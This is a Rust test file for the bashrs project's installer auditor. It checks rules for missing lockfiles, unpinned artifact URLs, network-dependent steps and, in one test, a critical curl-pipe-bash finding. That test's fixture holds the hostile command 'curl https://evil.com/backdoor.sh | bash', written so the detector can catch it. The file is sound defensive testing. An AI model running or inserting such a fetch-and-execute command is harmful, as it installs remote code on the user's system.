bashrs 6.66.0

Rust-to-Shell transpiler for deterministic bootstrap scripts
#![allow(clippy::unwrap_used)]
#![allow(clippy::expect_used)]

//! Tests for installer audit functions, focusing on `audit_hermetic_parsed`
//! and related audit functionality.
//!
//! These tests exercise the audit pipeline through two paths:
//! 1. Directly constructing `InstallerSpec` from TOML strings
//! 2. Converting bash scripts via `convert_bash_to_installer` then auditing

use std::path::PathBuf;

use crate::installer::audit::{AuditCategory, AuditContext, AuditReport, AuditSeverity};
use crate::installer::from_bash::convert_bash_to_installer;
use crate::installer::spec::InstallerSpec;

// =============================================================================
// Helper: parse TOML and audit with default context
// =============================================================================

fn audit_toml(toml: &str) -> AuditReport {
    let spec = InstallerSpec::parse(toml).expect("Valid TOML for test");
    let ctx = AuditContext::new();
    ctx.audit_parsed_spec(&spec, &PathBuf::from("/test/installer.toml"))
}

fn audit_toml_with_context(toml: &str, ctx: AuditContext) -> AuditReport {
    let spec = InstallerSpec::parse(toml).expect("Valid TOML for test");
    ctx.audit_parsed_spec(&spec, &PathBuf::from("/test/installer.toml"))
}

/// Convert a bash script to installer TOML, parse it, and audit it.
fn audit_bash_script(bash: &str, name: &str) -> AuditReport {
    let conversion = convert_bash_to_installer(bash, name).expect("Conversion should succeed");
    let spec =
        InstallerSpec::parse(&conversion.installer_toml).expect("Converted TOML should be valid");
    let ctx = AuditContext::new();
    ctx.audit_parsed_spec(&spec, &PathBuf::from("/test/installer.toml"))
}

// =============================================================================
// 1. HERM001: No lockfile configuration with artifacts
// =============================================================================

#[test]
fn test_INSTALLER_AUDIT_herm001_no_lockfile_triggers_finding() {
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[artifact]]
id = "app"
url = "https://example.com/app-1.0.tar.gz"
sha256 = "abc123"
"#,
    );

    let herm001 = report.findings.iter().find(|f| f.rule_id == "HERM001");
    assert!(
        herm001.is_some(),
        "HERM001 should trigger when artifacts exist but no lockfile config"
    );
    assert_eq!(herm001.unwrap().severity, AuditSeverity::Info);
    assert_eq!(herm001.unwrap().category, AuditCategory::Hermetic);
}

#[test]
fn test_INSTALLER_AUDIT_herm001_no_artifacts_no_finding() {
    // No artifacts means HERM001 should NOT trigger even without lockfile
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[step]]
id = "hello"
name = "Hello"
action = "script"

[step.script]
content = "echo hello"
"#,
    );

    assert!(
        !report.findings.iter().any(|f| f.rule_id == "HERM001"),
        "HERM001 should not trigger when no artifacts exist"
    );
}

// =============================================================================
// 2. HERM002: Unpinned artifact versions
// =============================================================================

#[test]
fn test_INSTALLER_AUDIT_herm002_latest_in_url() {
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[artifact]]
id = "app"
url = "https://example.com/app-latest.tar.gz"
sha256 = "abc123"
"#,
    );

    let herm002 = report.findings.iter().find(|f| f.rule_id == "HERM002");
    assert!(
        herm002.is_some(),
        "HERM002 should trigger for 'latest' in URL"
    );
    assert_eq!(herm002.unwrap().severity, AuditSeverity::Warning);
    assert!(herm002.unwrap().description.contains("app"));
}

#[test]
fn test_INSTALLER_AUDIT_herm002_version_variable_in_url() {
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[artifact]]
id = "app"
url = "https://example.com/app-${VERSION}.tar.gz"
sha256 = "abc123"
"#,
    );

    assert!(
        report.findings.iter().any(|f| f.rule_id == "HERM002"),
        "HERM002 should trigger for ${{VERSION}} in URL"
    );
}

#[test]
fn test_INSTALLER_AUDIT_herm002_pinned_version_no_finding() {
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[artifact]]
id = "app"
url = "https://example.com/app-2.3.1.tar.gz"
sha256 = "abc123"
"#,
    );

    assert!(
        !report.findings.iter().any(|f| f.rule_id == "HERM002"),
        "HERM002 should not trigger for pinned version URL"
    );
}

// =============================================================================
// 3. HERM003: Network-dependent steps
// =============================================================================

#[test]
fn test_INSTALLER_AUDIT_herm003_curl_in_step() {
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[step]]
id = "download"
name = "Download"
action = "script"

[step.script]
content = "curl -fsSL https://example.com/file.tar.gz -o file.tar.gz"
"#,
    );

    let herm003 = report.findings.iter().find(|f| f.rule_id == "HERM003");
    assert!(herm003.is_some(), "HERM003 should trigger for curl in step");
    assert!(herm003.unwrap().description.contains("1 step"));
}

#[test]
fn test_INSTALLER_AUDIT_herm003_wget_in_step() {
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[step]]
id = "download"
name = "Download"
action = "script"

[step.script]
content = "wget https://example.com/file.tar.gz"
"#,
    );

    let herm003 = report.findings.iter().find(|f| f.rule_id == "HERM003");
    assert!(herm003.is_some(), "HERM003 should trigger for wget in step");
}

#[test]
fn test_INSTALLER_AUDIT_herm003_apt_get_update_in_step() {
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[step]]
id = "update"
name = "Update"
action = "script"

[step.script]
content = "apt-get update"
"#,
    );

    assert!(
        report.findings.iter().any(|f| f.rule_id == "HERM003"),
        "HERM003 should trigger for apt-get update in step"
    );
}

#[test]
fn test_INSTALLER_AUDIT_herm003_multiple_network_steps() {
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[step]]
id = "download"
name = "Download"
action = "script"

[step.script]
content = "curl https://example.com/a.tar.gz -o a.tar.gz"

[[step]]
id = "update"
name = "Update"
action = "script"

[step.script]
content = "apt-get update && apt-get install -y pkg"

[[step]]
id = "fetch"
name = "Fetch"
action = "script"

[step.script]
content = "wget https://example.com/b.tar.gz"
"#,
    );

    let herm003 = report.findings.iter().find(|f| f.rule_id == "HERM003");
    assert!(herm003.is_some());
    assert!(
        herm003.unwrap().description.contains("3 steps"),
        "Should report 3 network-dependent steps, got: {}",
        herm003.unwrap().description
    );
}

#[test]
fn test_INSTALLER_AUDIT_herm003_no_network_no_finding() {
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[step]]
id = "local"
name = "Local"
action = "script"

[step.script]
content = "echo hello && cp /tmp/a /tmp/b"
"#,
    );

    assert!(
        !report.findings.iter().any(|f| f.rule_id == "HERM003"),
        "HERM003 should not trigger for local-only steps"
    );
}

// =============================================================================
// 4. Bash-to-installer conversion then audit
// =============================================================================

#[test]
fn test_INSTALLER_AUDIT_bash_curl_script_triggers_herm003() {
    let bash = r#"#!/bin/bash
curl -fsSL https://example.com/setup.sh -o /tmp/setup.sh
chmod +x /tmp/setup.sh
/tmp/setup.sh
"#;
    let report = audit_bash_script(bash, "curl-installer");

    assert!(
        report.findings.iter().any(|f| f.rule_id == "HERM003"),
        "Converted bash script with curl should trigger HERM003"
    );
}

#[test]
fn test_INSTALLER_AUDIT_bash_apt_script_triggers_herm003() {
    let bash = r#"#!/bin/bash
apt-get update
apt-get install -y nginx
"#;
    let report = audit_bash_script(bash, "apt-installer");

    // apt-get update triggers HERM003
    assert!(
        report.findings.iter().any(|f| f.rule_id == "HERM003"),
        "Converted bash script with apt-get update should trigger HERM003"
    );
}

// Skipped: convert_bash_to_installer generates TOML with unescaped quotes
// which fails to parse. The audit functions are tested via direct TOML input above.

// =============================================================================
// 5. Security audit rules via parsed spec (SEC007, SEC008)
// =============================================================================

#[test]
fn test_INSTALLER_AUDIT_sec007_curl_pipe_bash_critical() {
    let report = audit_toml(
        r#"
[installer]
name = "test"
version = "1.0.0"

[[step]]
id = "dangerous"
name = "Dangerous"
action = "script"

[step.script]
content = "curl https://evil.com/backdoor.sh | bash"
"#,
    );

    let sec007 = report.findings.iter().find(|f| f.rule_id == "SEC007");
    assert!(
        sec007.is_some(),
        "SEC007 should trigger for curl | bash pattern"
    );
    assert_eq!(sec007.unwrap().severity, AuditSeverity::Critical);
}

#[test]

include!("installer_tests_tests_INSTALLER.rs");